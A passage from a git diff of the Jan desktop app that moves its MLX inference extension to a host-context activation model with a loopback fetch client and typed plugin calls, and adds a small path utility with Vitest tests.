vi.fn(),+ readYaml: vi.fn(),+ writeYaml: vi.fn(),},joinPath: vi.fn(),modelInfo: {},@@ -108,8 +95,7 @@ vi.mock('@janhq/core', () => ({DownloadEvent: {onFileDownloadUpdate: 'onFileDownloadUpdate',onFileDownloadStopped: 'onFileDownloadStopped',- onModelValidationStarted: 'onModelValidationStarted',onModelValidationFailed: 'onModelValidationFailed',},- AIEngine: vi.fn(),+ AIEngine: class {},}))\ No newline at end of filediff --git a/extensions/llamacpp-extension/src/type.d.ts b/extensions/llamacpp-extension/src/type.d.tsdeleted file mode 100644index 88fc84a17..000000000--- a/extensions/llamacpp-extension/src/type.d.ts+++ /dev/null@@ -1,12 +0,0 @@-export {}--declare global {- interface RequestInit {- /**- * Tauri HTTP plugin option for connection timeout in milliseconds.- */- connectTimeout?: number- }-}--diff --git a/extensions/llamacpp-extension/src/util.test.ts b/extensions/llamacpp-extension/src/util.test.tsindex 5f7aa6649..65bd701bd 100644--- a/extensions/llamacpp-extension/src/util.test.ts+++ b/extensions/llamacpp-extension/src/util.test.ts@@ -9,6 +9,7 @@ import {estimateTokensFromText,getProxyConfig,truncateToTokenBudget,+ fileName,} from './util'import { getBackendSetting } from './backend-settings'@@ -777,3 +778,14 @@ describe('resolveSpecDraftKind', () => {).toBe('dflash')})})++describe('fileName', () => {+ it('takes the last segment of a POSIX or Windows path', () => {+ expect(fileName('/jan/models/imported/qwen.yml')).toBe('qwen.yml')+ expect(fileName('C:\\jan\\models\\qwen.gguf')).toBe('qwen.gguf')+ })++ it('returns a bare name unchanged', () => {+ expect(fileName('qwen.yml')).toBe('qwen.yml')+ })+})diff --git a/extensions/llamacpp-extension/src/util.ts b/extensions/llamacpp-extension/src/util.tsindex 7242a95eb..8b1dd5aeb 100644--- a/extensions/llamacpp-extension/src/util.ts+++ b/extensions/llamacpp-extension/src/util.ts@@ -20,6 +20,14 @@ interface ProxyState {noProxy: string}+/**+ * The last segment of a host path. Pure string work: the paths come from the+ * host on either platform, so both separators count.+ */+export function fileName(path: string): string {+ return path.split(/[\\/]/).pop() ?? path+}+const DEFAULT_EMBEDDING_MODEL_KEY = 'default-embedding-model'// The web-app's useDefaultEmbeddingModel store persists this key throughdiff --git a/extensions/mlx-extension/package.json b/extensions/mlx-extension/package.jsonindex 9906f83b8..81f5a456e 100644--- a/extensions/mlx-extension/package.json+++ b/extensions/mlx-extension/package.json@@ -4,13 +4,20 @@"version": "1.0.0","description": "This extension enables MLX-Swift inference on Apple Silicon Macs","main": "dist/index.js",- "module": "dist/module.js",+ "jan": {+ "id": "jan.mlx",+ "displayName": "MLX Inference Engine",+ "description": "This extension enables MLX-Swift inference on Apple Silicon Macs",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": []+ },"engine": "mlx","author": "Jan <[email protected]>","license": "Apache-2.0","scripts": {"build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install","test": "vitest run"},"devDependencies": {@@ -24,9 +31,7 @@"dependencies": {"@janhq/core": "workspace:*","@janhq/tauri-plugin-llamacpp-api": "link:../../src-tauri/plugins/tauri-plugin-llamacpp",- "@janhq/tauri-plugin-mlx-api": "link:../../src-tauri/plugins/tauri-plugin-mlx",- "@tauri-apps/api": "2.8.0",- "@tauri-apps/plugin-http": "2.5.9"+ "@janhq/tauri-plugin-mlx-api": "link:../../src-tauri/plugins/tauri-plugin-mlx"},"engines": {"node": ">=18.0.0"diff --git a/extensions/mlx-extension/rolldown.config.mjs b/extensions/mlx-extension/rolldown.config.mjsindex fb6f4b686..d9f655acf 100644--- a/extensions/mlx-extension/rolldown.config.mjs+++ b/extensions/mlx-extension/rolldown.config.mjs@@ -19,7 +19,4 @@ export default defineConfig({ENGINE: JSON.stringify(pkgJson.engine),IS_MAC: JSON.stringify(process.platform === 'darwin'),},- inject: process.env.IS_DEV ? {} : {- fetch: ['@tauri-apps/plugin-http', 'fetch'],- },})diff --git a/extensions/mlx-extension/src/index.test.ts b/extensions/mlx-extension/src/index.test.tsindex c88674c7a..ee1a297ef 100644--- a/extensions/mlx-extension/src/index.test.ts+++ b/extensions/mlx-extension/src/index.test.ts@@ -1,11 +1,23 @@import { beforeEach, describe, expect, it, vi } from 'vitest'-import mlx_extension from './index'-import { fs, getJanDataFolderPath, events } from '@janhq/core'-import { invoke } from '@tauri-apps/api/core'-import { loadMlxModel, unloadMlxModel } from '@janhq/tauri-plugin-mlx-api'+import type { InternalExtensionContext } from '@janhq/core'+import mlx_extension, { activate } from './index'+import { fs, getJanDataFolderPath, events, ServiceKeys } from '@janhq/core'+import {+ loadMlxModel,+ unloadMlxModel,+ findMlxSessionByModel,+ isMlxProcessRunning,+ getMlxLoadedModels,+ getMlxRandomPort,+} from '@janhq/tauri-plugin-mlx-api'import { readGgufMetadata } from '@janhq/tauri-plugin-llamacpp-api'-const mockInvoke = vi.mocked(invoke)+const mockReadYaml = vi.mocked(fs.readYaml)+const mockWriteYaml = vi.mocked(fs.writeYaml)+const mockReadFileSync = vi.mocked(fs.readFileSync)+const mockFindSession = vi.mocked(findMlxSessionByModel)+const mockIsRunning = vi.mocked(isMlxProcessRunning)+const mockLoadedModels = vi.mocked(getMlxLoadedModels)const mockExistsSync = vi.mocked(fs.existsSync)const mockRm = vi.mocked(fs.rm)const mockFileStat = vi.mocked(fs.fileStat)@@ -14,8 +26,13 @@ const mockUnload = vi.mocked(unloadMlxModel)const mockLoad = vi.mocked(loadMlxModel)const mockReadGguf = vi.mocked(readGgufMetadata)+// The host service registry the engine reaches the Downloads service through.+const hostServices = { get: vi.fn() }+// The host's proxy-bypassing client (`ctx.internal.loopbackFetch`).+const loopbackFetch = vi.fn()+function newExt(): any {- const ext = new mlx_extension() as any+ const ext = new mlx_extension(hostServices, loopbackFetch) as anyext.providerPath = '/data/mlx'return ext}@@ -27,7 +44,7 @@ beforeEach(() => {describe('getProviderPath', () => {it('joins the jan data folder with the mlx dir and caches it', async () => {- const ext = new mlx_extension() as any+ const ext = new mlx_extension(hostServices, loopbackFetch) as anyconst path = await ext.getProviderPath()expect(path).toBe('/data/mlx')@@ -80,9 +97,7 @@ describe('getModelProps after a load', () => {ext.getLoadedModels = vi.fn().mockResolvedValue([])ext.getRandomPort = vi.fn().mockResolvedValue(5000)ext.generateApiKey = vi.fn().mockResolvedValue('key')- mockInvoke.mockImplementation(async (cmd: string) =>- cmd === 'read_yaml' ? { model_path: 'models/m' } : undefined- )+ mockReadYaml.mockResolvedValue({ model_path: 'models/m' } as any)mockLoad.mockResolvedValue({ pid: 1, model_id: id } as any)await ext.load(id, settings)}@@ -106,7 +121,7 @@ describe('getModelProps after a load', () => {const ext = newExt()ext.onSettingUpdate('ctx_size', 8192)await loadWith(ext, 'big', { ctx_size: 125000 })- mockInvoke.mockResolvedValue({ pid: 1, model_id: 'big' })+ mockFindSession.mockResolvedValue({ pid: 1, model_id: 'big' } as any)mockUnload.mockResolvedValue({ success: true })await ext.unload('big')expect((await ext.getModelProps('big')).nCtx).toBe(8192)@@ -115,21 +130,23 @@ describe('getModelProps after a load', () => {describe('getModelContextLimit', () => {it('uses the text model limit from a multimodal config', async () => {- const ext = new mlx_extension()- mockInvoke.mockResolvedValueOnce({ model_path: '/external/model' })+ const ext = new mlx_extension(hostServices, loopbackFetch)+ mockReadYaml.mockResolvedValueOnce({ model_path: '/external/model' })mockFileStat.mockResolvedValue({ isDirectory: true } as never)- mockInvoke.mockResolvedValueOnce(JSON.stringify({+ mockReadFileSync.mockResolvedValueOnce(JSON.stringify({max_position_embeddings: 1024,text_config: { max_position_embeddings: 32768 },}))expect(await ext.getModelContextLimit('model')).toBe(32768)+ expect(mockReadYaml).toHaveBeenCalledWith('/data/mlx/models/model/model.yml')+ expect(mockReadFileSync).toHaveBeenCalledWith('/external/model/config.json')})it('does not assume a context limit when the config omits it', async () => {- const ext = new mlx_extension()- mockInvoke.mockResolvedValueOnce({ model_path: '/external/model' })+ const ext = new mlx_extension(hostServices, loopbackFetch)+ mockReadYaml.mockResolvedValueOnce({ model_path: '/external/model' })mockFileStat.mockResolvedValue({ isDirectory: true } as never)- mockInvoke.mockResolvedValueOnce('{}')+ mockReadFileSync.mockResolvedValueOnce('{}')expect(await ext.getModelContextLimit('model')).toBeUndefined()})})@@ -156,7 +173,7 @@ describe('get', () => {it('maps model config to modelInfo with fallbacks', async () => {const ext = newExt()mockExistsSync.mockResolvedValue(true)- mockInvoke.mockResolvedValue({ size_bytes: 1234, embedding: true })+ mockReadYaml.mockResolvedValue({ size_bytes: 1234, embedding: true })const info = await ext.get('foo')expect(info).toEqual({@@ -167,12 +184,13 @@ describe('get', () => {sizeBytes: 1234,embedding: true,})+ expect(mockReadYaml).toHaveBeenCalledWith('/data/mlx/models/foo/model.yml')})it('prefers the configured name over the model id', async () => {const ext = newExt()mockExistsSync.mockResolvedValue(true)- mockInvoke.mockResolvedValue({ name: 'Pretty Name' })+ mockReadYaml.mockResolvedValue({ name: 'Pretty Name' })const info = await ext.get('foo')expect(info.name).toBe('Pretty Name')@@ -184,14 +202,13 @@ describe('get', () => {describe('getLoadedModels', () => {it('returns the plugin result', async () => {const ext = newExt()- mockInvoke.mockResolvedValue(['a', 'b'])+ mockLoadedModels.mockResolvedValue(['a', 'b'])expect(await ext.getLoadedModels()).toEqual(['a', 'b'])- expect(mockInvoke).toHaveBeenCalledWith('plugin:mlx|get_mlx_loaded_models')})it('throws when the plugin call fails', async () => {const ext = newExt()- mockInvoke.mockRejectedValue('boom')+ mockLoadedModels.mockRejectedValue('boom')await expect(ext.getLoadedModels()).rejects.toThrow('boom')})})@@ -199,8 +216,7 @@ describe('getLoadedModels', () => {describe('unload', () => {it('throws when there is no active session', async () => {const ext = newExt()- // findSessionByModel invokes plugin:mlx|find_mlx_session_by_model- mockInvoke.mockResolvedValue(undefined)+ mockFindSession.mockResolvedValue(null)await expect(ext.unload('foo')).rejects.toThrow('No active MLX session found for model: foo')@@ -208,17 +224,18 @@ describe('unload', () => {it('returns the unload result on success', async () => {const ext = newExt()- mockInvoke.mockResolvedValue({ pid: 99, model_id: 'foo' })+ mockFindSession.mockResolvedValue({ pid: 99, model_id: 'foo' } as never)mockUnload.mockResolvedValue({ success: true })const result = await ext.unload('foo')expect(result).toEqual({ success: true })+ expect(mockFindSession).toHaveBeenCalledWith('foo')expect(mockUnload).toHaveBeenCalledWith(99)})it('returns a failure object when unload throws', async () => {const ext = newExt()- mockInvoke.mockResolvedValue({ pid: 99, model_id: 'foo' })+ mockFindSession.mockResolvedValue({ pid: 99, model_id: 'foo' } as never)mockUnload.mockRejectedValue(new Error('nope'))const result = await ext.unload('foo')@@ -230,13 +247,13 @@ describe('unload', () => {describe('load', () => {it('throws when the model is already loaded', async () => {const ext = newExt()- mockInvoke.mockResolvedValue({ pid: 1, model_id: 'foo' })+ mockFindSession.mockResolvedValue({ pid: 1, model_id: 'foo' } as never)await expect(ext.load('foo')).rejects.toThrow('Model already loaded!')})it('deduplicates concurrent loads of the same model', async () => {const ext = newExt()- mockInvoke.mockResolvedValue(undefined)+ mockFindSession.mockResolvedValue(null)const sentinel = Promise.resolve({ pid: 7 })ext.performLoad = vi.fn().mockReturnValue(sentinel)@@ -257,7 +274,7 @@ describe('delete', () => {it('removes the parent dir for relative paths and the model dir', async () => {const ext = newExt()mockExistsSync.mockResolvedValue(true)- mockInvoke.mockResolvedValue({+ mockReadYaml.mockResolvedValue({model_path: 'mlx/models/foo/model.safetensors',})mockRm.mockResolvedValue(undefined)@@ -270,7 +287,7 @@ describe('delete', () => {it('does not remove a parent dir for absolute paths', async () => {const ext = newExt()mockExistsSync.mockResolvedValue(true)- mockInvoke.mockResolvedValue({ model_path: '/abs/model/model.safetensors' })+ mockReadYaml.mockResolvedValue({ model_path: '/abs/model/model.safetensors' })mockRm.mockResolvedValue(undefined)await ext.delete('foo')@@ -282,7 +299,7 @@ describe('delete', () => {describe('chat', () => {it('throws when no session is found', async () => {const ext = newExt()- mockInvoke.mockResolvedValue(undefined)+ mockFindSession.mockResolvedValue(null)await expect(ext.chat({ model: 'foo' })).rejects.toThrow('No active MLX session found for model: foo')@@ -290,15 +307,40 @@ describe('chat', () => {it('throws when the process is not running', async () => {const ext = newExt()- mockInvoke.mockImplementation(async (cmd: string) => {- if (cmd === 'plugin:mlx|find_mlx_session_by_model')- return { pid: 5, port: 1, model_id: 'foo' }- if (cmd === 'plugin:mlx|is_mlx_process_running') return false- return undefined- })+ mockFindSession.mockResolvedValue({+ pid: 5,+ port: 1,+ model_id: 'foo',+ } as never)+ mockIsRunning.mockResolvedValue(false)await expect(ext.chat({ model: 'foo' })).rejects.toThrow('MLX model has crashed! Please reload!')+ expect(mockIsRunning).toHaveBeenCalledWith(5)+ })++ // The MLX server is on loopback: the host client keeps a proxy from+ // capturing the health check and the completion alike.+ it('sends the health check and the completion through the loopback fetch', async () => {+ const ext = newExt()+ mockFindSession.mockResolvedValue({+ pid: 5,+ port: 4321,+ model_id: 'foo',+ api_key: 'k',+ } as never)+ mockIsRunning.mockResolvedValue(true)+ const reply = { choices: [{ finish_reason: 'stop' }] }+ loopbackFetch.mockResolvedValue({ ok: true, json: async () => reply })++ await expect(+ ext.chat({ model: 'foo', messages: [], stream: false })+ ).resolves.toEqual(reply)++ expect(loopbackFetch.mock.calls.map(([url]) => url)).toEqual([+ 'http://localhost:4321/health',+ 'http://localhost:4321/v1/chat/completions',+ ])})})@@ -314,17 +356,18 @@ describe('isVisionSupported', () => {const ext = newExt()mockFileStat.mockResolvedValue({ isDirectory: true })mockExistsSync.mockResolvedValue(true)- mockInvoke.mockResolvedValue(+ mockReadFileSync.mockResolvedValue(JSON.stringify({ architectures: ['Qwen2VLForConditionalGeneration'] }))expect(await ext.isVisionSupported('/model/dir')).toBe(true)+ expect(mockReadFileSync).toHaveBeenCalledWith('/model/dir/config.json')})it('detects vision from vision_config', async () => {const ext = newExt()mockFileStat.mockResolvedValue({ isDirectory: true })mockExistsSync.mockResolvedValue(true)- mockInvoke.mockResolvedValue(+ mockReadFileSync.mockResolvedValue(JSON.stringify({ architectures: ['LlamaForCausalLM'], vision_config: {} }))expect(await ext.isVisionSupported('/model/dir')).toBe(true)@@ -337,7 +380,7 @@ describe('isVisionSupported', () => {mockExistsSync.mockImplementation(async (p: string) =>p.endsWith('config.json') && !p.includes('image') && !p.includes('preprocessor'))- mockInvoke.mockResolvedValue(+ mockReadFileSync.mockResolvedValue(JSON.stringify({ architectures: ['LlamaForCausalLM'] }))expect(await ext.isVisionSupported('/model/dir')).toBe(false)@@ -347,7 +390,7 @@ describe('isVisionSupported', () => {describe('isToolSupported', () => {it('detects tools from GGUF chat template metadata', async () => {const ext = newExt()- mockInvoke.mockResolvedValue({ model_path: '/abs/model.gguf' })+ mockReadYaml.mockResolvedValue({ model_path: '/abs/model.gguf' })mockReadGguf.mockResolvedValue({metadata: { 'tokenizer.chat_template': 'you may use tools here' },})@@ -356,7 +399,7 @@ describe('isToolSupported', () => {it('returns false when GGUF chat template has no tools', async () => {const ext = newExt()- mockInvoke.mockResolvedValue({ model_path: '/abs/model.gguf' })+ mockReadYaml.mockResolvedValue({ model_path: '/abs/model.gguf' })mockReadGguf.mockResolvedValue({metadata: { 'tokenizer.chat_template': 'plain template' },})@@ -365,15 +408,198 @@ describe('isToolSupported', () => {it('detects tools from a safetensors tokenizer_config.json', async () => {const ext = newExt()- mockInvoke.mockImplementation(async (cmd: string, args: any) => {- if (cmd === 'read_yaml') return { model_path: '/abs/model.safetensors' }- if (cmd === 'read_file_sync')- return JSON.stringify({ chat_template: 'uses tool_use blocks' })- return undefined- })+ mockReadYaml.mockResolvedValue({ model_path: '/abs/model.safetensors' })+ mockReadFileSync.mockResolvedValue(+ JSON.stringify({ chat_template: 'uses tool_use blocks' })+ )mockExistsSync.mockImplementation(async (p: string) =>p.endsWith('tokenizer_config.json'))expect(await ext.isToolSupported('foo')).toBe(true)+ expect(mockReadFileSync).toHaveBeenCalledWith('/abs/tokenizer_config.json')+ })+})++describe('getRandomPort', () => {+ it('returns the port picked by the plugin', async () => {+ const ext = newExt()+ vi.mocked(getMlxRandomPort).mockResolvedValue(4321)+ expect(await ext.getRandomPort()).toBe(4321)+ })++ it('throws a readable error when no port is available', async () => {+ const ext = newExt()+ vi.mocked(getMlxRandomPort).mockRejectedValue('none')+ await expect(ext.getRandomPort()).rejects.toThrow(+ 'Unable to find a suitable port for MLX model'+ )+ })+})++describe('update', () => {+ it('moves the model folder and rewrites model.yml with the new path', async () => {+ const ext = newExt()+ mockReadYaml.mockResolvedValue({+ name: 'foo',+ model_path: 'mlx/models/foo/model.safetensors',+ })+ mockExistsSync.mockResolvedValue(false)+ vi.mocked(fs.mv).mockResolvedValue(undefined)++ await ext.update('foo', { id: 'bar' })+ expect(mockReadYaml).toHaveBeenCalledWith('/data/mlx/models/foo/model.yml')+ expect(mockWriteYaml).toHaveBeenCalledWith('/data/mlx/models/bar/model.yml', {+ name: 'foo',+ model_path: 'mlx/models/bar/model.safetensors',+ })+ })+})++describe('pauseImport / abortImport', () => {+ const downloads = () => ({+ pauseDownload: vi.fn().mockResolvedValue(undefined),+ cancelDownload: vi.fn().mockResolvedValue(undefined),+ })++ it('pauses the task through the host Downloads service', async () => {+ const service = downloads()+ const getService = vi.fn().mockReturnValue(service)+ hostServices.get = getService+ await newExt().pauseImport('m1')+ expect(getService).toHaveBeenCalledWith(ServiceKeys.Downloads)+ expect(service.pauseDownload).toHaveBeenCalledWith('mlx/m1')+ })++ it('cancels the task through the host Downloads service', async () => {+ mockExistsSync.mockResolvedValue(false)+ const service = downloads()+ hostServices.get = vi.fn().mockReturnValue(service)+ await newExt().abortImport('m1')+ expect(service.cancelDownload).toHaveBeenCalledWith('mlx/m1')+ })++ it('fails loudly when no Downloads service is provided', async () => {+ hostServices.get = vi.fn().mockReturnValue(undefined)+ await expect(newExt().pauseImport('m1')).rejects.toThrow(+ 'Downloads service is not available'+ )+ })+})++describe('activate', () => {+ type Disposable = { dispose(): void }++ function fakeContext() {+ const disposables: Disposable[] = []+ const provided = new Map<string, unknown>()+ const unregister = vi.fn()+ const engines = { register: vi.fn().mockReturnValue({ dispose: unregister }) }+ const services = {+ get: vi.fn((key: { id: string }) => provided.get(key.id)),+ provide: vi.fn((key: { id: string }, impl: unknown) => {+ provided.set(key.id, impl)+ return { dispose: () => provided.delete(key.id) }+ }),+ }+ const ctx = {+ subscriptions: {+ add: <T extends Disposable>(d: T) => (disposables.push(d), d),+ },+ internal: { services, engines },+ } as unknown as InternalExtensionContext+ const deactivate = () => disposables.splice(0).reverse().forEach((d) => d.dispose())+ return { ctx, engines, unregister, provided, deactivate }+ }++ it('registers the engine and provides the mlx service it backs', async () => {+ const fake = fakeContext()+ await activate(fake.ctx)+ const engine = fake.engines.register.mock.calls[0][0]+ expect(engine).toBeInstanceOf(mlx_extension)+ expect(engine.provider).toBe('mlx')+ engine.onSettingUpdate('ctx_size', 2048)+ mockUnload.mockResolvedValue({ success: true })+ mockFindSession.mockResolvedValue({ pid: 7 } as never)+ const service = fake.provided.get(ServiceKeys.Mlx.id) as {+ getModelProps(id: string): Promise<unknown>+ unload(id: string): Promise<unknown>+ findSession(id: string): Promise<unknown>+ }+ await expect(service.getModelProps('m')).resolves.toEqual({+ nCtx: 2048,+ modelAlias: 'm',+ })+ await service.unload('m')+ expect(mockFindSession).toHaveBeenCalledWith('m')+ mockFindSession.mockResolvedValueOnce(null)+ await expect(service.findSession('gone')).resolves.toBeNull()+ expect(mockFindSession).toHaveBeenCalledWith('gone')+ })++ it('reaches the Downloads service through the host registry', async () => {+ const fake = fakeContext()+ const downloads = { pauseDownload: vi.fn().mockResolvedValue(undefined) }+ fake.provided.set(ServiceKeys.Downloads.id, downloads)+ await activate(fake.ctx)+ await fake.engines.register.mock.calls[0][0].pauseImport('m1')+ expect(downloads.pauseDownload).toHaveBeenCalledWith('mlx/m1')+ })++ it('unregisters the engine and withdraws the service on deactivation', async () => {+ const fake = fakeContext()+ await activate(fake.ctx)+ fake.deactivate()+ expect(fake.unregister).toHaveBeenCalled()+ expect(fake.provided.has(ServiceKeys.Mlx.id)).toBe(false)+ })+})++describe('settings', () => {+ const KEY = '@janhq/mlx-extension'+ const defaults = () => [+ {+ key: 'auto_unload',+ title: 'Auto unload',+ description: '',+ controllerType: 'checkbox',+ controllerProps: { value: true },+ },+ {+ key: 'timeout',+ title: 'Timeout',+ description: '',+ controllerType: 'input',+ controllerProps: { value: 600 },+ },+ ]++ beforeEach(() => {+ localStorage.clear()+ ;(globalThis as any).SETTINGS = defaults()+ })++ it('keeps the values a previous run stored under the package name', async () => {+ localStorage.setItem(+ KEY,+ JSON.stringify([{ key: 'auto_unload', controllerProps: { value: false } }])+ )+ const ext = newExt()+ await ext.start()+ expect(ext.autoUnload).toBe(false)+ expect(ext.timeout).toBe(600)+ const saved = await ext.getSettings()+ expect(saved.map((s: any) => [s.key, s.controllerProps.value])).toEqual([+ ['auto_unload', false],+ ['timeout', 600],+ ])+ expect(saved[0].extensionName).toBe(KEY)+ })++ it('stores updates and applies them to the running engine', async () => {+ const ext = newExt()+ await ext.start()+ await ext.updateSettings([{ key: 'timeout', controllerProps: { value: 30 } }])+ expect(ext.timeout).toBe(30)+ expect(JSON.parse(localStorage.getItem(KEY)!)[1].controllerProps.value).toBe(30)})})diff --git a/extensions/mlx-extension/src/index.ts b/extensions/mlx-extension/src/index.tsindex f37f7536e..0cdc9f2a1 100644--- a/extensions/mlx-extension/src/index.ts+++ b/extensions/mlx-extension/src/index.ts@@ -23,13 +23,23 @@ import {events,AppEvent,DownloadEvent,+ ServiceKeys,+ type DownloadService,+ type InternalExtensionContext,+ type MlxService,+ type LoopbackFetch,+ type ServiceRegistry,+ type SettingComponentProps,logger,} from '@janhq/core'-import { invoke } from '@tauri-apps/api/core'import {loadMlxModel,unloadMlxModel,+ isMlxProcessRunning,+ getMlxRandomPort,+ findMlxSessionByModel,+ getMlxLoadedModels,MlxConfig,} from '@janhq/tauri-plugin-mlx-api'import {@@ -54,6 +64,33 @@ export function isValidModelId(id: string): boolean {return parts.every((s) => s !== '' && s !== '.' && s !== '..')}+// The package name: what the settings entries carry as their owner, and the+// key they persist under in webview storage.+const SETTINGS_KEY = '@janhq/mlx-extension'++/**+ * Runs the engine on the extension host: registers it with the engine+ * manager and publishes the runtime queries the app makes of it.+ */+export async function activate(ctx: InternalExtensionContext): Promise<void> {+ const engine = new mlx_extension(+ ctx.internal.services,+ ctx.internal.loopbackFetch+ )+ ctx.subscriptions.add(ctx.internal.engines.register(engine))+ const service: MlxService = {+ getModelProps: (modelId) => engine.getModelProps(modelId),+ unload: (modelId) => engine.unload(modelId),+ findSession: (modelId) => findMlxSessionByModel(modelId),+ }+ ctx.subscriptions.add(ctx.internal.services.provide(ServiceKeys.Mlx, service))+ // As under the old extension manager, a failed startup is logged and the+ // engine stays registered, so the provider and its models remain listed.+ await engine.start().catch((error: unknown) =>+ ctx.log.error('Engine startup failed:', error)+ )+}+export default class mlx_extension extends AIEngine {provider: string = 'mlx'autoUnload: boolean = true@@ -69,9 +106,15 @@ export default class mlx_extension extends AIEngine {// only describes models loaded without an override.private loadedCtxSize = new Map<string, number>()- override async onLoad(): Promise<void> {- super.onLoad()+ constructor(+ private readonly services: Pick<ServiceRegistry, 'get'>,+ // The MLX server is on loopback; the host's client bypasses every proxy.+ private readonly loopbackFetch: LoopbackFetch+ ) {+ super()+ }+ async start(): Promise<void> {let settings = structuredClone(SETTINGS)this.registerSettings(settings)@@ -99,8 +142,63 @@ export default class mlx_extension extends AIEngine {return this.providerPath}- override async onUnload(): Promise<void> {- // Cleanup handled by Tauri plugin on app exit+ /**+ * Stores the settings list, keeping the values (and options when the new+ * list has none) a previous run saved. Webview storage is where these+ * settings have always lived, so existing values carry over unchanged.+ */+ private registerSettings(settings: SettingComponentProps[]): void {+ settings.forEach((setting) => {+ setting.extensionName = SETTINGS_KEY+ })+ try {+ const saved = this.readSettings()+ settings.forEach((setting) => {+ const old = saved.find((e) => e.key === setting.key)+ const props = setting.controllerProps+ if (old) props.value = old.controllerProps?.value ?? props.value+ if ('options' in props) {+ if (!props.options?.length && old && 'options' in old.controllerProps)+ props.options = old.controllerProps.options+ if (!props.options?.some((e) => e.value === props.value))+ props.value = props.options?.[0]?.value ?? props.value+ }+ })+ localStorage.setItem(SETTINGS_KEY, JSON.stringify(settings))+ } catch (err) {+ logger.error(err)+ }+ }++ private readSettings(): SettingComponentProps[] {+ try {+ const parsed: unknown = JSON.parse(localStorage.getItem(SETTINGS_KEY) ?? '[]')+ return Array.isArray(parsed) ? (parsed as SettingComponentProps[]) : []+ } catch (err) {+ logger.warn(err)+ return []+ }+ }++ override async getSettings(): Promise<SettingComponentProps[]> {+ return this.readSettings()+ }++ override async updateSettings(+ componentProps: Partial<SettingComponentProps>[]+ ): Promise<void> {+ const settings = this.readSettings()+ let updated = settings.map((setting) => {+ const patch = componentProps.find((p) => p.key === setting.key)+ if (patch?.controllerProps)+ setting.controllerProps.value = patch.controllerProps.value+ return setting+ })+ if (!updated.length) updated = componentProps as SettingComponentProps[]+ localStorage.setItem(SETTINGS_KEY, JSON.stringify(updated))+ updated.forEach((setting) =>+ this.onSettingUpdate(setting.key, setting.controllerProps.value)+ )}onSettingUpdate<T>(key: string, value: T): void {@@ -129,7 +227,7 @@ export default class mlx_extension extends AIEngine {if (!(await fs.existsSync(path))) return undefined- const modelConfig = await invoke<ModelConfig>('read_yaml', { path })+ const modelConfig = await fs.readYaml<ModelConfig>(path)return {id: modelId,@@ -142,9 +240,9 @@ export default class mlx_extension extends AIEngine {}async getModelContextLimit(modelId: string): Promise<number | undefined> {- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: await joinPath([await this.getProviderPath(), 'models', modelId, 'model.yml']),- })+ const modelConfig = await fs.readYaml<ModelConfig>(+ await joinPath([await this.getProviderPath(), 'models', modelId, 'model.yml'])+ )const modelPath = isAbsoluteModelPath(modelConfig.model_path)? modelConfig.model_path: await joinPath([await getJanDataFolderPath(), modelConfig.model_path])@@ -157,9 +255,7 @@ export default class mlx_extension extends AIEngine {? modelPath: modelPath.substring(0, modelPath.lastIndexOf('/'))const config = JSON.parse(- await invoke<string>('read_file_sync', {- args: [await joinPath([directory, 'config.json'])],- })+ await fs.readFileSync(await joinPath([directory, 'config.json']))) as {max_position_embeddings?: numbertext_config?: { max_position_embeddings?: number }@@ -200,7 +296,7 @@ export default class mlx_extension extends AIEngine {let modelInfos: modelInfo[] = []for (const modelId of modelIds) {const path = await joinPath([modelsDir, modelId, 'model.yml'])- const modelConfig = await invoke<ModelConfig>('read_yaml', { path })+ const modelConfig = await fs.readYaml<ModelConfig>(path)const capabilities: string[] = []if (modelConfig.mmproj_path) {@@ -232,7 +328,7 @@ export default class mlx_extension extends AIEngine {private async getRandomPort(): Promise<number> {try {- return await invoke<number>('plugin:mlx|get_mlx_random_port')+ return await getMlxRandomPort()} catch {logger.error('Unable to find a suitable port for MLX server')throw new Error('Unable to find a suitable port for MLX model')@@ -307,9 +403,7 @@ export default class mlx_extension extends AIEngine {modelId,'model.yml',])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: modelConfigPath,- })+ const modelConfig = await fs.readYaml<ModelConfig>(modelConfigPath)const port = await this.getRandomPort()const api_key = await this.generateApiKey(modelId, String(port))@@ -380,9 +474,7 @@ export default class mlx_extension extends AIEngine {private async findSessionByModel(modelId: string): Promise<SessionInfo> {try {- return await invoke<SessionInfo>('plugin:mlx|find_mlx_session_by_model', {- modelId,- })+ return await findMlxSessionByModel(modelId)} catch (e) {logger.error(e)throw new Error(String(e))@@ -399,13 +491,11 @@ export default class mlx_extension extends AIEngine {}// Check if the process is alive- const isAlive = await invoke<boolean>('plugin:mlx|is_mlx_process_running', {- pid: sessionInfo.pid,- })+ const isAlive = await isMlxProcessRunning(sessionInfo.pid)if (isAlive) {try {- await fetch(`http://localhost:${sessionInfo.port}/health`)+ await this.loopbackFetch(`http://localhost:${sessionInfo.port}/health`)} catch (e) {this.unload(sessionInfo.model_id)throw new Error('MLX model appears to have crashed! Please reload!')@@ -427,7 +517,7 @@ export default class mlx_extension extends AIEngine {return this.handleStreamingResponse(url, headers, body, abortController)}- const response = await fetch(url, {+ const response = await this.loopbackFetch(url, {method: 'POST',headers,body,@@ -474,7 +564,7 @@ export default class mlx_extension extends AIEngine {)}}- const response = await fetch(url, {+ const response = await this.loopbackFetch(url, {method: 'POST',headers,body,@@ -548,9 +638,7 @@ export default class mlx_extension extends AIEngine {throw new Error(`Model ${modelId} does not exist`)}- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: modelConfigPath,- })+ const modelConfig = await fs.readYaml<ModelConfig>(modelConfigPath)// Check if model_path is a relative path within mlx folderif (!isAbsoluteModelPath(modelConfig.model_path)) {@@ -582,9 +670,9 @@ export default class mlx_extension extends AIEngine {'models',modelId,])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: await joinPath([modelFolderPath, 'model.yml']),- })+ const modelConfig = await fs.readYaml<ModelConfig>(+ await joinPath([modelFolderPath, 'model.yml'])+ )const newFolderPath = await joinPath([await this.getProviderPath(),'models',@@ -595,15 +683,12 @@ export default class mlx_extension extends AIEngine {}const newModelConfigPath = await joinPath([newFolderPath, 'model.yml'])await fs.mv(modelFolderPath, newFolderPath).then(() =>- invoke('write_yaml', {- data: {- ...modelConfig,- model_path: modelConfig?.model_path?.replace(- `mlx/models/${modelId}`,- `mlx/models/${model.id}`- ),- },- savePath: newModelConfigPath,+ fs.writeYaml(newModelConfigPath, {+ 